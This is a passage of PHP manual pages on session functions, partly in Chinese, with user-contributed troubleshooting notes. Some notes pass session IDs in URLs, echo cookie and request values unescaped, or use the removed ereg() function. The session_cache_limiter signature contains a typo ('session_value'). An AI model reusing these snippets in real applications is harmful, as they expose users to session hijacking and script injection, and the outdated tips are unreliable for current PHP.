So, this test is usefull to identify any causes.

*/
if( session_id() == '' )
{
    echo 'session_id() empty';
}else{
    echo session_id();
}
echo '<hr>';

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1&<?php echo $sessName . '=' . session_id();?>>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2&<?php echo $sessName . '=' . session_id();?>>test 2 (kill session)</a>
Trevor Brown 04-Aug-2010 08:17
A confirmation of behaviour, just in case this saves anyone else some time...

There is (potentially) a special case when session.gc_probability = 0 and session.gc_divisor = 0.  Depending on how they wanted to work their maths underneath, the coders *might* have opted to interpret 0/0 as 1 (which is sometimes assumed in certain maths proofs), but thankfully it seems they haven't.  With both values set to 0, the session code will follow the spirit of the directives and invoke the garbage collector with zero probability.  At least this is true with php 5.2.5 (which, to be certain, I inspected the source of).

To be safe, however, setting both to zero is *probably* not a good idea because usually 0/0 is undefined, so it could presumably mean anything (some arguments exist that claim 0/0 is equal to every fraction).  Wouldn't you rather know for sure what your probability was set to?  In other words, don't set gc_divisor = 0
Jeremy Speer 19-Feb-2010 12:14
When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page].

<?php
function getSessionData ($session_name = 'PHPSESSID', $session_save_handler = 'files') {
    $session_data = array();
    # did we get told what the old session id was? we can't continue it without that info
    if (array_key_exists($session_name, $_COOKIE)) {
        # save current session id
        $session_id = $_COOKIE[$session_name];
        $old_session_id = session_id();

        # write and close current session
        session_write_close();

        # grab old save handler, and switch to files
        $old_session_save_handler = ini_get('session.save_handler');
        ini_set('session.save_handler', $session_save_handler);

        # now we can switch the session over, capturing the old session name
        $old_session_name = session_name($session_name);
        session_id($session_id);
        session_start();

        # get the desired session data
        $session_data = $_SESSION;

        # close this session, switch back to the original handler, then restart the old session
        session_write_close();
        ini_set('session.save_handler', $old_session_save_handler);
        session_name($old_session_name);
        session_id($old_session_id);
        session_start();
    }

    # now return the data we just retrieved
    return $session_data;
}
?>
brfelipe08 at hotmail dot com 28-Aug-2009 06:26
If you need to use sessions, and some accents required for some Latin-based languages, you should encode your files in ISO-8859-1.
You will run into some problems if you try to use UTF-8 - with or without BOM -, and ANSI will not support accents.
ISO-8859-1 will both support sessions and the accents.
edA-qa at disemia dot com 08-May-2009 12:18
WARNING for Debian users.  Just to drive you completely crazy Debian does its own form of session management and will completely ignore all alterations to the values who do within your PHP script.

Debian sets up a <crontab /etc/cron.d/php5> which deletes all files, including those in subdirectories, which exceed the gc_maxlifetime specified in the <php.ini> file only.

That is, on Debian (and likely variants like Ubuntu) modifying the session expiration settings (like gc_maxlifetime) does *NOTHING*.  You *HAVE* to modify the global <php.ini>.  Not even a <.htaccess> file will help you.
edA-qa at disemia dot com 07-May-2009 05:14
Sessions may be deleted before the time limit you set in gc_maxlifetime.

If you have multiple pages on the same server, each using the session (the same or distinct named sessions, it doesn't matter), the *minimum* gc_maxlifetime of any of those scripts ends up being the effective lifetime of the session files.

This can also apply to the lifetime coming from a CLI invocation of a PHP script on that machine which happens to use the session.

This can be bothersome since even though you think all your pages include the same file which sets up the script, even a single PHP page which doesn't can invoke the GC and have the scripts deleted.

Thus, if you need to set a long gc_maxlifetime you are best doing this through the INI file or in a .htaccess file for the entire directory.
LaurentT 03-Dec-2008 02:51
For UNIX :

One might encounter some problems with sessions, having different sites on the same server : sessions would either merge if one is using more than one site at a time or crash if sites are owned by different system users. For instance :

www.example.com is stored in /home/site1/www
www.example.net is stored in /home/site2/www

Using both www.example.com and www.example.net would cause sessions to act weird.

If you're using PHP as an Apache module, you can easely use php_value in the http.conf to set a unique session.name depending on the site. If you're using suPHP though (PHP as CGI) you can't use php_value, though you can use suPHP_ConfigPath.

Here's an example :

<VirtualHost 10.10.10.10:8081>
    DocumentRoot /home/site1/www
    ServerName www.example.com
    suPHP_ConfigPath /home/site1/server_config
</VirtualHost>
<VirtualHost 10.10.10.10:8082>
    DocumentRoot /home/site2/www
    ServerName www.example.net
    suPHP_ConfigPath /home/site2/server_config
</VirtualHost>

Each server_config folder contain a php.ini file specific to the vHost. You then just have to change the values of each session.name to unique ones and you're done !
hinom - iMasters 04-Jun-2008 09:00
simple session test

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

session_start();

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2>test 2 (kill session)</a>
paul at shirron dot net 05-May-2008 07:19
In php.ini, I have:

session.save_path="C:\DOCUME~1\pjs9486\LOCALS~1\Temp\php\session"

I was cleaning out the temp directory, and deleted the php directory. Session stuff quit working. I re-created the php directory. Still no luck. I re-created the session directory in the php directory, and session stuff resumed working.

I would have expected session_start() to have re-created directories in the path, if they didn't exist, but, it doesn't.

Note to self: Don't do that again!!!!
Vextor 04-Apr-2008 08:24
It seems that the garbage engine can't delete the expired session related to the itself. If there is only one session, it won't expire even if it has expired the gc_maxlifetime set.

It will be necessary another client connecting, starting a different session, and the garbage collector of this new session will be able to clean the other expired sessions.

I tested this in Windows with file sessions.
session a emailaddress d cjb d net 28-Mar-2008 11:33
It doesn't appear in the documentation, or in anyone's comment here, but setting session.gc_maxlifetime to 0 means the session will not expire until the browser is closed.

Of course this still doesn't fix the problems associated with the garbage collector doing it's own thing.
The best solution to that still appears to be changing session.save_path
Csar 07-Mar-2008 07:38
There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this
[IP NUMBER]/example.php
carl /a/ suchideas /o/ com 30-Sep-2007 09:45
Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea.

You can just about pull it off, if you're very careful, but note two related points:

1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder

2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this:

Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0

... so don't even bother. Just use

<?php ini_set("session.save_path",dirname(__FILE__)."/relative_path"); ?>

(or equivalent) in a file which you know is always in the same place relative to the file.

{PHP version 5.1.6}
jsnell at e-normous dot com 29-Aug-2007 01:58
Careful not to try to use integer as a key to the $_SESSION array (such as $_SESSION[0] = 1;)  or you will get the error "Notice: Unknown: Skipping numeric key 0. in Unknown on line 0"
Nigel Barlass 28-Jun-2007 06:07
Lima's note on sessions and browser's tabs needs to be modified for my version of php as the call to uniqid('') will return an alphanumeric string.
Hence the ereg statement should be:
if(!ereg('^SESS[0-9a-z]+$',$_REQUEST['SESSION_NAME'])) {...
Edemilson Lima <pulstar at gmail dot com> 17-Apr-2007 06:17
Sessions and browser's tabs

May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name.

Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have:

<?php
if(version_compare(phpversion(),'4.3.0')>=0) {
    if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) {
        $_REQUEST['SESSION_NAME']='SESS'.uniqid('');
    }
    output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']);
    session_name($_REQUEST['SESSION_NAME']);
}
?>

How it works:

First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release).

After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it.

uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so.

output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this:

<?php
header('location: script.php?'.session_name().'='.session_id()
      . '&SESSION_NAME='.session_name());
?>
<input type="image" src="button.gif" onClick="javascript:open_popup('script.php?<?php
echo session_name(); ?>=<?php echo session_id(); ?>&SESSION_NAME=<?php echo session_name(); ?>')" />

The last function, session_name() will define the name of the actual session that the script will use.

So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab).

May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think.
pautzomat at web dot de 19-Nov-2003 12:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
shanemayer42 at yahoo dot com 19-Aug-2000 07:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).


Discard session array changes and finish session

  • ? Session 函数
  • session_cache_expire ?
  • PHP Manual
  • Session 函数
  • Discard session array changes and finish session

session_abort

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_abort — Discard session array changes and finish session

说明

session_abort(): bool

session_abort() finishes session without saving data. Thus the original values in session data are kept.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.2.0 | The return type of this function is bool now. Formerly, it has been void.

参见

  • $_SESSION
  • The session.auto_start configuration directive
  • session_start() - 启动新会话或者重用现有会话
  • session_reset() - Re-initialize session array with original values
  • session_commit() - session_write_close 的别名

User Contributed Notes

Gulshan Kumar 22-Feb-2019 05:12
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
    session_abort();
}
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
//This will always echo 1 not the above code.
?>
mhd dot nickz13 at gmail dot com 02-Sep-2018 07:37
session_abort()  closes the current session and discards the changes applied to Session array in the current page  , it doesn't delete the session file
let me explain with one example.
page 1.php :
<?php
session_start();
$_SESSION['city']="Sydney";
echo "<a href=\"2.php\"> page2</a>";
?>
when you open this page , a session file is created on the server (to find out where session files are saved run "echo session_save_path()" )  with the name of session_id  and the content of  the variable :

  sess_o22iabs75j93uhc7i4jf1lecjk  (file name)
  city|s:6:"Sydney";               (content)

if we go to 2.php containing this code :

<?php
session_start();
$_SESSION['country']="Australia";
echo session_encode();
session_abort();
session_start();
echo "<br>".session_encode();
?>

when session_abort is executed , the session is closed and the change which here is the 'country' element of Session array is discarded .

Output :
city|s:6:"Sydney";country|s:9:"Australia";
city|s:6:"Sydney";
zh dot hailei at gmail dot com 17-Oct-2017 07:28
demo1
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
echo $_SESSION['count'];
//above, $_SESSION['count'] will keep increase;
?>

demo2
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
session_abort();
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
?>
parsa dot mhn at outlook dot com 03-Sep-2015 02:33
To better understand this function you should execute this code first :

<?php
    // First of all choose your path , For e.g. C:/session
    session_save_path('Your Path here !');

    session_start();

    // Define a Session Variable
    $_SESSION['Key'] = 'value' ;

    Var_dump(session_status() == PHP_SESSION_ACTIVE);

    // Output : bool(True) , it means you have an open session !
?>

Then you should execute this code :

<?php
    // Choose the path that you used it in first part
    session_save_path('Your path here');

    session_start();

    // If you want to close session and keep your original data in your path , you should use session_abort()
    session_abort();

    var_dump(session_status()== PHP_SESSION_ACTIVE);

    // Output : bool(False) , it means your session closed .
?>

So if you have an open session , session_abort() will simply close it without effecting the external session data , so you can reload your data again from your path that you chose .


返回/设置当前缓存的到期时间

  • ? session_abort
  • session_cache_limiter ?
  • PHP Manual
  • Session 函数
  • 返回/设置当前缓存的到期时间

session_cache_expire

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

session_cache_expire — 返回/设置当前缓存的到期时间

说明

session_cache_expire(?int $value = null): int|false

session_cache_expire() 返回 session.cache_expire 的设定值。

请求开始的时候，缓存到期时间会被重置为 180，并且保存在 session.cache_expire 配置项中。 因此，针对每个请求，需要在 session_start() 函数调用之前 调用 session_cache_expire() 来设置缓存到期时间。

参数

value

如果指定 value 且不为 null，就使用 value 的值替换当前缓存到期时间。

Note: 仅在 session.cache_limiter 的设置值 不是 nocache 的时候， 才可以设置 value 参数。

返回值

返回 session.cache_expire 的当前设置值， 以分钟为单位，默认值是 180 （分钟）。如果更改值失败，则返回 false。

更新日志

版本 | 说明
8.0.0 | value 现在可以为 null。

示例

Example #1 session_cache_expire() 示例

<?php

/* 设置缓存限制为 "private" */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* 设置缓存过期时间为 30 分钟 */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* 开始会话 */

session_start();

echo "The cache limiter is now set to $cache_limiter<br />";
echo "The cached session pages expire after $cache_expire minutes";
?>

参见

  • session.cache_expire
  • session.cache_limiter
  • session_cache_limiter() - 读取/设置缓存限制器

User Contributed Notes

WooDzu 02-Sep-2013 07:50
Just to make things clear. If session.cache_limiter is set to private the following header will be sent in HTTP response:

Cache-Control    private, max-age=10800, pre-check=10800

Where 10800 is the amount of seconds - default value of 180 minutes set by session.cache_expire which you are enabled to change with session_cache_expire() on run-time
Anonymous 20-Feb-2008 08:50
The manual probably doesn't stress this enough:

** This has nothing to do with lifetime of a session **

Whatever you set this setting to, it won't change how long sessions live on your server.

This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server.
lance_rushing at hotmail dot com 17-Jun-2005 02:47
I've encountered the same problem of loosing focus when using IE and a javascript window.location.refresh/replace().

After fusing around I found that a <meta http-equiv="refresh" content="600"> works without move the focus on the parent frame's form.  The down side is loading up the browser history and an annoying 'click' in IE on the page load.


读取/设置缓存限制器

  • ? session_cache_expire
  • session_commit ?
  • PHP Manual
  • Session 函数
  • 读取/设置缓存限制器

session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

session_cache_limiter — 读取/设置缓存限制器

说明

session_value(?string $value = null): string|false

session_cache_limiter() 返回当前缓存限制器的名称。

缓存限制器定义了向客户端发送的 HTTP 响应头中的缓存控制策略。 客户端或者代理服务器通过检测这个响应头信息来 确定对于页面内容的缓存规则。 设置缓存限制器为 nocache 会禁止客户端或者代理服务器缓存内容， public 表示允许客户端或代理服务器缓存内容， private 表示允许客户端缓存， 但是不允许代理服务器缓存内容。

在 private 模式下， 包括 Mozilla 在内的一些浏览器可能无法正确处理 Expire 响应头， 通过使用 private_no_expire 模式可以解决这个问题：在这种模式下， 不会向客户端发送 Expire 响应头。

设置为 '' 可以关闭 自动发送缓存策略响应头的功能。

请求开始的时候，缓存限制器会被重置为默认值，并且存储在 session.cache_limiter 配置项中。 因此，如果要设置缓存限制器，对于每个请求， 都需要在调用 session_start() 函数之前， 调用 session_cache_limiter() 函数来进行设置。

参数

value

如果指定 value 且不为 null， 将使用指定值作为缓存限制器的值。

可选的值
值 发送的响应头
public
Expires：（根据 session.cache_expire 的设定计算得出）
Cache-Control： public, max-age=（根据 session.cache_expire 的设定计算得出）
Last-Modified：（会话最后保存时间）
private_no_expire
Cache-Control: private, max-age=（根据 session.cache_expire 的设定计算得出）, pre-check=（根据 session.cache_expire 的设定计算得出）
Last-Modified: （会话最后保存时间）
private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=（根据 session.cache_expire 的设定计算得出）, pre-check=（根据 session.cache_expire 的设定计算得出）
Last-Modified: （会话最后保存时间）
nocache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

返回值

返回当前所用的缓存限制器名称。如果更改值失败，则返回 false。

更新日志

版本 | 说明
8.0.0 | value 现在可为 null。

示例

Example #1 session_cache_limiter() 示例

<?php

/* 设置缓存限制器为 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "The cache limiter is now set to $cache_limiter<br />";
?>

参见

  • session.cache_limiter

User Contributed Notes

glenk7901 12-Feb-2016 05:39
I was having a fit trying fix an issue caused by session.cache_limiter.  Somehow I had set this to nocache (a long time ago) in the .ini file and this setting caused the back-button to not work.  When session.cache_limiter was set on private or public, the back-button worked, but then logging out of the site did not work.  I had thought that session.cache_limiter was something that should be enabled, but finally found today that turning it off (by setting it to '') fixed both these problems.  So now the question for me is, when would anybody ever want to use session.cache_limiter?  I was hating Php because of this problem.
kubavathimanshu76 at gmail dot com 06-Oct-2014 10:12
but i have problem in same browser i have login with diff users in same project but last logged user overwrite with all other user log in how to prevent this
ire dot ogunsina at gmail dot com 01-Oct-2008 07:55
I have had some trouble preventing IE, particular IE 7 to stop caching pages. I read quite a number of articles relating to people's experiences and how they fixed it but it was hard to find one that worked for me. Eventually I had to use the following fix:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">

based on the information available on following url: http://support.microsoft.com/kb/234067

Would to God that we'd all quit IE for good. Hope this saves someone some agony over IE.
yves at kochira point com 08-Sep-2008 01:58
To avoid a headache while trying the various parameters in Firefox 3.0.1 (+Firebug), just restart the browser after a change... or they're not taken into account (from 'no-cache' to 'public'/'private').
scott at realorganized dot com 01-May-2008 11:03
http://us.php.net/session_cache_limiter

sends:

Pragma: no-cache

under some conditions from server to client.

Internet Explorer has a strange interpretation of: Pragma: No-cache
being sent from the server to the client.

Here's the link:

http://support.microsoft.com/kb/234067

If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.

Note, however, that the Pragma: no-cache header was not intended for this. According to the HTTP 1.0 and 1.1 specifications, this header is defined in the context of a request only, not a response, and is actually intended for proxy servers that may prevent certain important requests from reaching the destination Web server. For future applications, the Cache-Control header is the proper means for controlling caching.

For this reason, watch out when using the Pragma: no-cache with https and IE
clay at killersoft dot com 30-Mar-2008 05:44
The actual headers that are set using the values described above are:

public:
    Expires: pageload + 3 hours
    Cache-Control: public, max-age=10800

private:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private, max-age=10800, pre-check=10800

nocache:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache

private_no_expire:
    Cache-Control: private, max-age=10800, pre-check=10800

Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all.
Fernando Gabrieli fgabrieli at gmail 07-Apr-2007 05:21
<?
    session_cache_limiter ('private, must-revalidate');

    $cache_limiter = session_cache_limiter();

    //

    session_cache_expire(60); // in minutes

    session_start() ;
?>

If i do not set must-revalidate, IE seems to cache session variables without refreshing them

If i post a form then it refreshes the variables

Firefox does not have this problem

So, be sure to use must-revalidate
Jeremiah at jkjonesco dot com 30-Oct-2006 03:20
If you are trying to work with dynamic binaries such as videos or images, the new IE 7 appears to require the ETag header.  You will need to make sure that you follow the specifications for how ETag works in order for your cache control to work properly.  Mozilla supports the ETag header as well, but does NOT require it for caching.  If you need to cache a dynamic image, video, or other binary file, then be sure to set your ETag and then check for the If-Not-Modified header on subsequent requests so that you can properly return the 304 Not Modified page.
john 28-Mar-2006 08:36
In addition to the  above, don't forget to check the php.ini file for the setting:   session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 08:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro 18-Oct-2005 04:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
02-Sep-2005 03:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au 07-Aug-2005 06:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com 12-May-2005 02:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com 12-Jan-2005 06:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com 07-Jan-2005 12:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
    header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    session_cache_limiter("must-revalidate");
    header("Content-Type: application/vnd.ms-excel");
    header('Content-Disposition: attachment; filename="fileToExport.xls"');

    // and after you start the session
    session_start();
?>
pulstar at ig dot com dot br 24-Oct-2004 02:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com 18-May-2004 02:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com 25-Mar-2004 08:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz 01-Mar-2004 06:17
